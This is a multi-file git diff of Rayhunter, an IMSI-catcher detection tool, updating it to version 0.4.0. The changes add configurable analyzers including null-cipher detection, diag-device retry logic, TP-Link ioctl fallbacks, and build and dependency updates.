telnet_send_command(addr, "reboot", "exit code 0").await?;
|
||||
sleep(Duration::from_secs(30)).await;
|
||||
|
||||
echo!("Testing rayhunter ... ");
|
||||
let max_failures = 10;
|
||||
http_ok_every(
|
||||
format!("http://{admin_ip}:8080/index.html"),
|
||||
Duration::from_secs(3),
|
||||
max_failures,
|
||||
)
|
||||
.await?;
|
||||
println!("ok");
|
||||
println!("rayhunter is running at http://{admin_ip}:8080");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn http_ok_every(rayhunter_url: String, interval: Duration, max_failures: u32) -> Result<()> {
|
||||
let client = Client::new();
|
||||
let mut failures = 0;
|
||||
loop {
|
||||
match client.get(&rayhunter_url).send().await {
|
||||
Ok(test) => match test.status().is_success() {
|
||||
true => break,
|
||||
false => bail!(
|
||||
"request for url ({rayhunter_url}) failed with status code: {:?}",
|
||||
test.status()
|
||||
),
|
||||
},
|
||||
Err(e) => match failures > max_failures {
|
||||
true => return Err(e.into()),
|
||||
false => failures += 1,
|
||||
},
|
||||
}
|
||||
sleep(interval).await;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_encrypt_password() {
|
||||
let p = b"80536913";
|
||||
let s = encrypt_password(p).ok();
|
||||
let expected = Some("5brvd8xl732cSoFTAy67ig==".to_string());
|
||||
assert_eq!(s, expected);
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rayhunter"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
edition = "2021"
|
||||
description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
|
||||
|
||||
@@ -13,20 +13,19 @@ path = "src/lib.rs"
|
||||
default = []
|
||||
orbic = []
|
||||
tplink = []
|
||||
wingtech = []
|
||||
|
||||
[dependencies]
|
||||
bytes = "1.5.0"
|
||||
chrono = "0.4.31"
|
||||
crc = "3.0.1"
|
||||
deku = { version = "0.18.0", features = ["logging"] }
|
||||
env_logger = "0.10.1"
|
||||
libc = "0.2.150"
|
||||
log = "0.4.20"
|
||||
nix = { version = "0.29.0", features = ["feature"] }
|
||||
pcap-file-tokio = "0.1.0"
|
||||
thiserror = "1.0.50"
|
||||
telcom-parser = { path = "../telcom-parser" }
|
||||
tokio = { version = "1.44.2", features = ["full"] }
|
||||
futures-core = "0.3.30"
|
||||
futures = "0.3.30"
|
||||
tokio = { version = "1.44.2", default-features = false }
|
||||
futures = { version = "0.3.30", default-features = false }
|
||||
serde = { version = "1.0.197", features = ["derive"] }
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
use chrono::{DateTime, FixedOffset};
|
||||
use serde::Serialize;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::borrow::Cow;
|
||||
|
||||
use crate::util::RuntimeMetadata;
|
||||
@@ -8,9 +8,29 @@ use crate::{diag::MessagesContainer, gsmtap_parser};
|
||||
use super::{
|
||||
connection_redirect_downgrade::ConnectionRedirect2GDowngradeAnalyzer,
|
||||
imsi_requested::ImsiRequestedAnalyzer, information_element::InformationElement,
|
||||
priority_2g_downgrade::LteSib6And7DowngradeAnalyzer,
|
||||
null_cipher::NullCipherAnalyzer, priority_2g_downgrade::LteSib6And7DowngradeAnalyzer,
|
||||
};
|
||||
|
||||
#[derive(Debug, Clone, Deserialize, Serialize)]
|
||||
#[serde(default)]
|
||||
pub struct AnalyzerConfig {
|
||||
pub imsi_requested: bool,
|
||||
pub connection_redirect_2g_downgrade: bool,
|
||||
pub lte_sib6_and_7_downgrade: bool,
|
||||
pub null_cipher: bool,
|
||||
}
|
||||
|
||||
impl Default for AnalyzerConfig {
|
||||
fn default() -> Self {
|
||||
AnalyzerConfig {
|
||||
imsi_requested: true,
|
||||
connection_redirect_2g_downgrade: true,
|
||||
lte_sib6_and_7_downgrade: true,
|
||||
null_cipher: true,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Qualitative measure of how severe a Warning event type is.
|
||||
/// The levels should break down like this:
|
||||
/// * Low: if combined with a large number of other Warnings, user should investigate
|
||||
@@ -122,16 +142,21 @@ impl Harness {
|
||||
}
|
||||
}
|
||||
|
||||
pub fn new_with_all_analyzers() -> Self {
|
||||
pub fn new_with_config(analyzer_config: &AnalyzerConfig) -> Self {
|
||||
let mut harness = Harness::new();
|
||||
harness.add_analyzer(Box::new(ImsiRequestedAnalyzer::new()));
|
||||
harness.add_analyzer(Box::new(ConnectionRedirect2GDowngradeAnalyzer {}));
|
||||
harness.add_analyzer(Box::new(LteSib6And7DowngradeAnalyzer {}));
|
||||
|
||||
// FIXME: our RRC parser is reporting false positives for this due to an
|
||||
// upstream hampi bug (https://github.com/ystero-dev/hampi/issues/133).
|
||||
// once that's fixed, we should regenerate our parser and re-enable this
|
||||
// harness.add_analyzer(Box::new(NullCipherAnalyzer{}));
|
||||
if analyzer_config.imsi_requested {
|
||||
harness.add_analyzer(Box::new(ImsiRequestedAnalyzer::new()));
|
||||
}
|
||||
if analyzer_config.connection_redirect_2g_downgrade {
|
||||
harness.add_analyzer(Box::new(ConnectionRedirect2GDowngradeAnalyzer {}));
|
||||
}
|
||||
if analyzer_config.lte_sib6_and_7_downgrade {
|
||||
harness.add_analyzer(Box::new(LteSib6And7DowngradeAnalyzer {}));
|
||||
}
|
||||
if analyzer_config.null_cipher {
|
||||
harness.add_analyzer(Box::new(NullCipherAnalyzer {}));
|
||||
}
|
||||
|
||||
harness
|
||||
}
|
||||
|
||||
@@ -6,13 +6,15 @@ use crate::hdlc::hdlc_encapsulate;
|
||||
use crate::log_codes;
|
||||
|
||||
use deku::prelude::*;
|
||||
use futures_core::TryStream;
|
||||
use log::{error, info};
|
||||
use futures::TryStream;
|
||||
use log::{debug, error, info};
|
||||
use std::io::ErrorKind;
|
||||
use std::os::fd::AsRawFd;
|
||||
use std::time::Duration;
|
||||
use thiserror::Error;
|
||||
use tokio::fs::File;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::time::sleep;
|
||||
|
||||
pub type DiagResult<T> = Result<T, DiagDeviceError>;
|
||||
|
||||
@@ -85,6 +87,52 @@ pub struct DiagDevice {
|
||||
|
||||
impl DiagDevice {
|
||||
pub async fn new() -> DiagResult<Self> {
|
||||
Self::new_with_retries(Duration::from_secs(30)).await
|
||||
}
|
||||
|
||||
pub async fn new_with_retries(max_duration: Duration) -> DiagResult<Self> {
|
||||
// For some reason the diag device needs a very long time to become available again with in
|
||||
// the same process, on TP-Link M7350 v3. While process restart would reset it faster.
|
||||
|
||||
let start_time = std::time::Instant::now();
|
||||
let max_delay = Duration::from_secs(5);
|
||||
|
||||
let mut delay = Duration::from_millis(100);
|
||||
let mut num_retries = 0;
|
||||
|
||||
loop {
|
||||
match Self::try_new().await {
|
||||
Ok(device) => {
|
||||
info!(
|
||||
"Diag device initialization succeeded after {} retries",
|
||||
num_retries
|
||||
);
|
||||
return Ok(device);
|
||||
}
|
||||
Err(e) => {
|
||||
num_retries += 1;
|
||||
if start_time.elapsed() >= max_duration {
|
||||
error!(
|
||||
"Failed to initialize diag device after {:?}: {}",
|
||||
max_duration, e
|
||||
);
|
||||
return Err(e);
|
||||
}
|
||||
|
||||
info!(
|
||||
"Diag device initialization failed {} times, retrying in {:?}: {}",
|
||||
num_retries, delay, e
|
||||
);
|
||||
sleep(delay).await;
|
||||
|
||||
// Exponential backoff
|
||||
delay = std::cmp::min(delay * 2, max_delay);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn try_new() -> DiagResult<Self> {
|
||||
let diag_file = File::options()
|
||||
.read(true)
|
||||
.write(true)
|
||||
@@ -123,7 +171,7 @@ impl DiagDevice {
|
||||
.map_err(DiagDeviceError::DeviceReadFailed)?;
|
||||
}
|
||||
|
||||
info!(
|
||||
debug!(
|
||||
"Parsing messages container size = {:?} [{:?}]",
|
||||
bytes_read,
|
||||
&self.read_buf[0..bytes_read]
|
||||
@@ -251,6 +299,7 @@ impl DiagDevice {
|
||||
//
|
||||
// TPLINK M7350 v5 source code can be downloaded at https://www.tp-link.com/de/support/gpl-code/?app=omada
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
struct diag_logging_mode_param_t {
|
||||
req_mode: u32,
|
||||
peripheral_mask: u32,
|
||||
@@ -261,30 +310,41 @@ struct diag_logging_mode_param_t {
|
||||
fn enable_frame_readwrite(fd: i32, mode: u32) -> DiagResult<()> {
|
||||
unsafe {
|
||||
if libc::ioctl(fd, DIAG_IOCTL_SWITCH_LOGGING, mode, 0, 0, 0) < 0 {
|
||||
let mut params = if cfg!(feature = "tplink") {
|
||||
let try_params: &[diag_logging_mode_param_t] = &[
|
||||
// tplink M7350 HW revision 3-8 need this mode
|
||||
#[cfg(feature = "tplink")]
|
||||
diag_logging_mode_param_t {
|
||||
req_mode: mode,
|
||||
peripheral_mask: 0,
|
||||
mode_param: 1,
|
||||
}
|
||||
} else {
|
||||
},
|
||||
// tplink M7350 HW revision v9 requires the same parameters as orbic
|
||||
diag_logging_mode_param_t {
|
||||
req_mode: mode,
|
||||
peripheral_mask: u32::MAX,
|
||||
mode_param: 0,
|
||||
}
|
||||
};
|
||||
},
|
||||
];
|
||||
|
||||
let mut ret = 0;
|
||||
|
||||
for params in try_params {
|
||||
let mut params = *params;
|
||||
ret = libc::ioctl(
|
||||
fd,
|
||||
DIAG_IOCTL_SWITCH_LOGGING,
|
||||
&mut params as *mut diag_logging_mode_param_t,
|
||||
std::mem::size_of::<diag_logging_mode_param_t>(),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
);
|
||||
if ret == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
let ret = libc::ioctl(
|
||||
fd,
|
||||
DIAG_IOCTL_SWITCH_LOGGING,
|
||||
&mut params as *mut _,
|
||||
std::mem::size_of::<diag_logging_mode_param_t>(),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
);
|
||||
if ret < 0 {
|
||||
let msg = format!(
|
||||
"DIAG_IOCTL_SWITCH_LOGGING ioctl failed with error code {}",
|
||||
|
||||
@@ -2,8 +2,8 @@
|
||||
pushd bin/web
|
||||
npm run build
|
||||
popd
|
||||
cargo build --release --target="armv7-unknown-linux-musleabihf" #--features debug
|
||||
cargo build --profile firmware --bin rayhunter-daemon --target="armv7-unknown-linux-musleabihf" #--features debug
|
||||
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
|
||||
adb push target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon /data/rayhunter/rayhunter-daemon
|
||||
adb push target/armv7-unknown-linux-musleabihf/firmware/rayhunter-daemon /data/rayhunter/rayhunter-daemon
|
||||
echo "rebooting the device..."
|
||||
adb shell '/bin/rootshell -c "reboot"'
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rootshell"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
@@ -1,14 +1,15 @@
|
||||
[package]
|
||||
name = "telcom-parser"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
asn1-compiler = "0.6.1"
|
||||
asn1-codecs = "0.6.1"
|
||||
asn1_codecs_derive = "0.6.1"
|
||||
# FIXME: When this branch is merged into main point this at the release version of hampi again
|
||||
asn1-compiler = { git = "https://github.com/ystero-dev/hampi", rev = "67f3283764eda20022d190c3d3d6edd1a88047e0" }
|
||||
asn1-codecs = { git = "https://github.com/ystero-dev/hampi", rev = "67f3283764eda20022d190c3d3d6edd1a88047e0" }
|
||||
asn1_codecs_derive = { git = "https://github.com/ystero-dev/hampi", rev = "67f3283764eda20022d190c3d3d6edd1a88047e0" }
|
||||
bitvec = { version = "1.0", features = ["serde"] }
|
||||
log = "0.4"
|
||||
thiserror = "1.0.56"
|
||||
|
||||
@@ -15,7 +15,7 @@ To install the hampi compiler, run:
|
||||
To generate the parser for LTE RRC, run:
|
||||
|
||||
```
|
||||
> hampi-rs-asn1c --codec uper --derive clone --derive partial-eq --derive serialize --module src/lte_rrc.rs -- specs/EUTRA* specs/PC5-RRC-Definitions.asn
|
||||
> rs-asn1c --codec uper --derive clone --derive partial-eq --derive serialize --module src/lte_rrc.rs -- specs/EUTRA* specs/PC5-RRC-Definitions.asn
|
||||
```
|
||||
|
||||
## Sourcing the ASN.1 files
|
||||
|
||||